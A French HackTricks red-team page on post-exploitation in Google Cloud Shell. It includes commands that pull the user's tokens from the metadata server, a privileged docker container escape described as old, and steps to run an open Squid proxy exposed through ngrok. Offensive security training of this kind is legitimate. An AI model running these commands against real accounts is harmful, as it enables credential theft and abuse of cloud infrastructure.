GCP - Cloud Shell Post Exploitation

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Cloud Shell

Pour plus d’informations sur Cloud Shell, voir :

GCP - Cloud Shell Enum

Obtention du token de l’utilisateur depuis le serveur de métadonnées

En accédant simplement au serveur de métadonnées, vous pouvez obtenir un token pour accéder en tant qu’utilisateur actuellement connecté :

wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/"

Container Escape / Docker use

Warning

Auparavant, le cloud shell s’exécutait dans un conteneur avec accès au docker socket de l’hôte. Maintenant Google a changé l’architecture et le conteneur cloud shell exécute une configuration “Docker in a container”. Ainsi, même s’il est possible d’utiliser docker depuis le cloud shell, vous ne pourrez pas vous échapper vers l’hôte en utilisant le docker socket. Notez qu’auparavant le fichier docker.sock était situé dans /google/host/var/run/docker.sock mais maintenant il a été déplacé vers /run/docker.sock.

Docker use / Old container escape commands ```bash sudo docker -H unix:///run/docker.sock pull alpine:latest sudo docker -H unix:///run/docker.sock run -d -it --name escaper -v "/proc:/host/proc" -v "/sys:/host/sys" -v "/:/rootfs" --network=host --privileged=true --cap-add=ALL alpine:latest sudo docker -H unix:///run/docker.sock start escaper sudo docker -H unix:///run/docker.sock exec -it escaper /bin/sh ```

De plus, par le passé, il était possible de trouver un token pour un service account utilisé par le cloud shell VM dans le metadata server :

Ancien service account provenant du metadata ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/" default/ vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/ ``` Avec les autorisations (scopes) suivantes : ```bash wget -q -O - --header "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/service-accounts/vms-cs-europe-west1-iuzs@m76c8cac3f3880018-tp.iam.gserviceaccount.com/scopes"

https://www.googleapis.com/auth/devstorage.read_only https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/monitoring.write

</details>



### L'utiliser comme proxy

Si vous voulez utiliser votre google cloud shell instance comme proxy vous devez exécuter les commandes suivantes (ou les insérer dans le fichier .bashrc) :

<details>

<summary>Installer Squid proxy</summary>
```bash
sudo apt install -y squid

Pour information, Squid est un serveur proxy http. Créez un fichier squid.conf avec les paramètres suivants :

Create squid.conf file ```bash http_port 3128 cache_dir /var/cache/squid 100 16 256 acl all src 0.0.0.0/0 http_access allow all ```

copiez le fichier squid.conf dans /etc/squid

Copier la configuration dans **/etc/squid** ```bash sudo cp squid.conf /etc/squid ```

Enfin, lancez le service squid :

Démarrer le service squid ```bash sudo service squid start ```

Utilisez ngrok pour rendre le proxy accessible depuis l’extérieur :

Exposer le proxy avec ngrok ```bash ./ngrok tcp 3128 ```

Après exécution, copiez l’URL tcp://. Si vous souhaitez utiliser le proxy depuis un navigateur, il est conseillé de supprimer la partie tcp:// et le port, puis de mettre le port dans le champ de port des paramètres proxy de votre navigateur (squid is a http proxy server).

Pour une meilleure utilisation au démarrage, le fichier .bashrc devrait contenir les lignes suivantes :

Ajouter à .bashrc pour un démarrage automatique ```bash sudo apt install -y squid sudo cp squid.conf /etc/squid/ sudo service squid start cd ngrok;./ngrok tcp 3128 ```

Les instructions ont été copiées depuis [https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key]. Consultez cette page pour d’autres idées folles permettant d’exécuter n’importe quel type de logiciel (bases de données et même Windows) dans Cloud Shell.

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks